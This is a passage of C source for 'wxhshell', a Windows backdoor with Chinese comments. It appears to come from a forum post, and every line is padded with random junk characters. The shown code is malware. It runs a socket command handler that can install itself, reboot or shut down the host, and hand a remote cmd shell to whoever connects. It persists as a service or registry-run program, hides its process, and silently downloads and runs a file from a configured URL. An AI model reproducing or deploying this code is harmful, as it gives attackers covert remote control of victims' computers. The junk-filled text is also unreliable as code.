wr$cK'5ZL  
    switch(cmd[0]) { k^H0b\hYY  
  ydwK!j0y  
  // 帮助 FOOQ'o[}  
  case '?': { FX HAZ2/\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,|T*|2Gm  
    break; M82.khm~jM  
  } 8hTR*e! +  
  // 安装 <|{L[  
  case 'i': { pN\)(:"8v  
    if(Install()) 9W{,=.%MX$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CfPXn0I  
    else > I$B=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dT5J-70Fl  
    break; On#;)35M  
    } b#D9eJhS  
  // 卸载 2[jL^ XMM  
  case 'r': { F&=I7i  
    if(Uninstall()) ; cGv] A+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U91 &|  
    else 0LetsDN7I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y;Qy"-)qb  
    break; D:=t*2-Iv  
    } )l`1)Ea~  
  // 显示 wxhshell 所在路径 't +"k8  
  case 'p': { r_b8,I6{]  
    char svExeFile[MAX_PATH]; QCeMKjCmY  
    strcpy(svExeFile,"\n\r"); H@K#|A=a  
      strcat(svExeFile,ExeFile); 'e}uvbK  
        send(wsh,svExeFile,strlen(svExeFile),0); =yl4zQmg$  
    break; v1 LKU  
    } `wNm%*g  
  // 重启 ).pO2lLF4  
  case 'b': { $Mdbt o~<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LtC~)R  
    if(Boot(REBOOT)) R<"2%oY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %tT"`%(+  
    else { nN>J*02(  
    closesocket(wsh); %b=Y <v  
    ExitThread(0); `_|aeoK_  
    } L ;6b+I  
    break; hS4.3]ei  
    } dZPW2yf  
  // 关机 !n|#|.0m  
  case 'd': { EJ1Bq>u7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ARPKzF`Wq  
    if(Boot(SHUTDOWN)) 10mK}HT>4B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }7K@e;YUg  
    else { z8IPhE@  
    closesocket(wsh); ^;.T}c%N  
    ExitThread(0); 4w 'lu"U  
    } `,+#!)  
    break; GxxDY]!  
    } ~|h lE z  
  // 获取shell ful#Px6m  
  case 's': { FC6xFg^  
    CmdShell(wsh); d:A}CBTSY  
    closesocket(wsh); WrNLGkt  
    ExitThread(0); Nwgu P  
    break; KacR?Al  
  } rVY?6OMkd  
  // 退出 t{!/#eQC  
  case 'x': { )IQ*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^V[/(Lq  
    CloseIt(wsh); )CJES!! W  
    break; M&r2:Whk  
    } LIF|bE9kd  
  // 离开 u^Vh .g]  
  case 'q': { Z.quh;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _1ew(x2J  
    closesocket(wsh); 5UE409Gn'  
    WSACleanup(); g+/0DO_F3  
    exit(1); j.DHqHx  
    break; T .kyV|  
        } UVrQV$g!  
  } 2UiR~P]%  
  } _g[-=y{Bb  
</= CZy5w  
  // 提示信息 a5|@R<iF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NetYg]8`  
} ^=^$tF  
  } _K'7(d0z  
JBz}|M D  
  return; 9RH"d[%yc}  
} BWh }^3?l  
:}Ok$^5s  
// shell模块句柄 OOokhZd`  
int CmdShell(SOCKET sock) /Y,r@D  
{ F|Q H  
STARTUPINFO si; 3V?817&6z  
ZeroMemory(&si,sizeof(si)); ) V36t{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; # Q}_e7t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )n( Q  
PROCESS_INFORMATION ProcessInfo; UP2}q?4  
char cmdline[]="cmd"; F?9SiX[\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Di>rO038  
  return 0; 2:Q(Gl`<l  
}  ;\qXbL7  
P>(P2~$Y"  
// 自身启动模式 *:g_'K"+  
int StartFromService(void) PnA?+u2m  
{ 8u>gbdU  
typedef struct dy2rkV.z  
{ NgVR,G|1  
  DWORD ExitStatus; R(G\wqHUT3  
  DWORD PebBaseAddress; _1aGtX|W  
  DWORD AffinityMask; <J&7]6Z  
  DWORD BasePriority; D^+?|Y@N  
  ULONG UniqueProcessId; <*<U!J-i  
  ULONG InheritedFromUniqueProcessId; )1lu=gc  
}   PROCESS_BASIC_INFORMATION; z C=a3  
^ q?1U?4  
PROCNTQSIP NtQueryInformationProcess; ^/toz).Q  
(Sv>NQp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /ylc*3e'4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9[VxskEh  
/1d<P! H  
  HANDLE             hProcess; "UG K8x  
  PROCESS_BASIC_INFORMATION pbi; &J$##B  
(u&`Ij9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e4\dpvL  
  if(NULL == hInst ) return 0; ^2S# Uk  
RNWX.g)b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b*EXIzQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r8[T&z@_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w2dcH4&  
[|RjHGf  
  if (!NtQueryInformationProcess) return 0; )K;]y-Us[  
kccWoU,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y/fJQ6DY  
  if(!hProcess) return 0; HbM0TXo  
l +'F_a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xq[Yg15d%  
fPqr6OYz  
  CloseHandle(hProcess); wvN`R  
<{Q'&T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |quij0_'e  
if(hProcess==NULL) return 0; F}Srn;V  
X(Qu{HhI  
HMODULE hMod; 63 2bN=>  
char procName[255]; z wk.bf>m  
unsigned long cbNeeded; Y3Oz'%B  
D#Kuo$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^zr^ N?a  
`VT>M@i/  
  CloseHandle(hProcess); |^a;77nE_^  
_mJG5(|  
if(strstr(procName,"services")) return 1; // 以服务启动 o6a0'vU><  
!yJICjXj  
  return 0; // 注册表启动 wRvb8F 0  
} 3@<zg1.9-  
0N;%2=2_E  
// 主模块 -SCM:j%h  
int StartWxhshell(LPSTR lpCmdLine) ~F!,PM/  
{ r.yK,  
  SOCKET wsl; Z>P*@S,6G  
BOOL val=TRUE; 7TX2&kMoc  
  int port=0; xZ.!d.rn  
  struct sockaddr_in door; np9dM  
MYdO jcN  
  if(wscfg.ws_autoins) Install(); `<frgXu64  
[ f/I2  
port=atoi(lpCmdLine); -c*\o3)  
swcd&~9r  
if(port<=0) port=wscfg.ws_port; #7G*GbKY  
G~,:2 o3  
  WSADATA data; r^fe4b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l \OLyQ  
KP]"P*? ?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0~Gle:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WFTvOFj  
  door.sin_family = AF_INET; eiVC"0-c}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aZS7sV28  
  door.sin_port = htons(port); !&^gaUa{  
A7Po 3n%Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vB\]u.  
closesocket(wsl); -NJ!g/ >mM  
return 1; 7[pBUDA  
} neZ.`"LV  
u]*0;-tz  
  if(listen(wsl,2) == INVALID_SOCKET) { i)a%!1Ar  
closesocket(wsl); u=x+ J=AH  
return 1; d+eZub94U  
} }UwO<#  
  Wxhshell(wsl); dT|vYK}\  
  WSACleanup(); sD;M!K_  
a_~=#]a  
return 0; k[j90C5  
zUJZ`seF  
} <y.]ImO  
p>w]rE:}  
// 以NT服务方式启动 b97w^ah4gJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ULJmSe  
{  VqSc;w  
DWORD   status = 0; AIYmS#V1W2  
  DWORD   specificError = 0xfffffff; $sHP\{  
)!:sFa 1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c2nKPEX&5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]`g@UtD9`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &ANP`=  
  serviceStatus.dwWin32ExitCode     = 0; )kXhtjOl|  
  serviceStatus.dwServiceSpecificExitCode = 0; dt@P>rel  
  serviceStatus.dwCheckPoint       = 0; 2Os1C}m  
  serviceStatus.dwWaitHint       = 0; >Gml4vGK  
%QmxA 7fW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zdc63fllM  
  if (hServiceStatusHandle==0) return; Mj#-j/{x{5  
&#`l;n:]+  
status = GetLastError(); 1\*\?\T>_  
  if (status!=NO_ERROR) /D&%v *~E  
{ {76c%<`WaP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rhc-q|Lz8  
    serviceStatus.dwCheckPoint       = 0; FY{e2~gi  
    serviceStatus.dwWaitHint       = 0; TfYVw~p_%  
    serviceStatus.dwWin32ExitCode     = status; soA|wk\A  
    serviceStatus.dwServiceSpecificExitCode = specificError; #G" xNl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O/s $SX%g  
    return; d\{>TdyF  
  } Hb} X-6N  
yZr M.%V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IYn]U4P.  
  serviceStatus.dwCheckPoint       = 0; `]Fx.)C#  
  serviceStatus.dwWaitHint       = 0; Q_-_^J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \>LnLH(  
} y;w x?1)  
ULrr=5&8  
// 处理NT服务事件,比如:启动、停止 !* Ti}oIo&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g9D^)V  
{ 9vUO *D  
switch(fdwControl) NX`*%K  
{ o1W:ox?kO  
case SERVICE_CONTROL_STOP: v\16RD  
  serviceStatus.dwWin32ExitCode = 0; O/AaYA&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @AHm!9?o  
  serviceStatus.dwCheckPoint   = 0; c0B|F  
  serviceStatus.dwWaitHint     = 0; g8qgk:}  
  { A1'hlAGF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u0aJu  
  } <h%O?mkC  
  return; {;toI  
case SERVICE_CONTROL_PAUSE: 4#x5MM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $3`>{3x$  
  break; ;<yd^Xs  
case SERVICE_CONTROL_CONTINUE: 'o|30LzYgQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k.("3R6v:  
  break; B~o\+n  
case SERVICE_CONTROL_INTERROGATE: wW>zgTG  
  break; xh7cVE[UM  
};  ]#7zk9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }bY; q-  
} jK \T|vGJa  
x~xa6  
// 标准应用程序主函数 +fvaUV_-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d ;vT ~;  
{ O+g3X5f+  
* #jsgj[  
// 获取操作系统版本 | N0Z-|  
OsIsNt=GetOsVer(); 0/S_e)U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L}@c6fHG  
:RoBl3X=  
  // 从命令行安装 y_\p=0t8  
  if(strpbrk(lpCmdLine,"iI")) Install(); }*.0N;;C  
*K> l*l(f]  
  // 下载执行文件 xX*H7#  
if(wscfg.ws_downexe) { wP[t0/dl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !vG'J\*xc  
  WinExec(wscfg.ws_filenam,SW_HIDE); WVVJ  
} f|O{#AC  
Y3Vlp/"rB"  
if(!OsIsNt) { $)3%U?AP  
// 如果时win9x,隐藏进程并且设置为注册表启动 O@p]KSfk  
HideProc(); 311LC cRp  
StartWxhshell(lpCmdLine); nX$XL=6mJ&  
} w"R:\@ F  
else D8 hr?:I9  
  if(StartFromService()) !rqF}d  
  // 以服务方式启动 /~x "wo  
  StartServiceCtrlDispatcher(DispatchTable); ;&1V0U,fx  
else f B9;_z  
  // 普通方式启动 KII *az  
  StartWxhshell(lpCmdLine); 6iCrRjY*  
B6wRg8  
return 0; | WvUq  
}
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只看该作者 1 发表于: 2006-10-10
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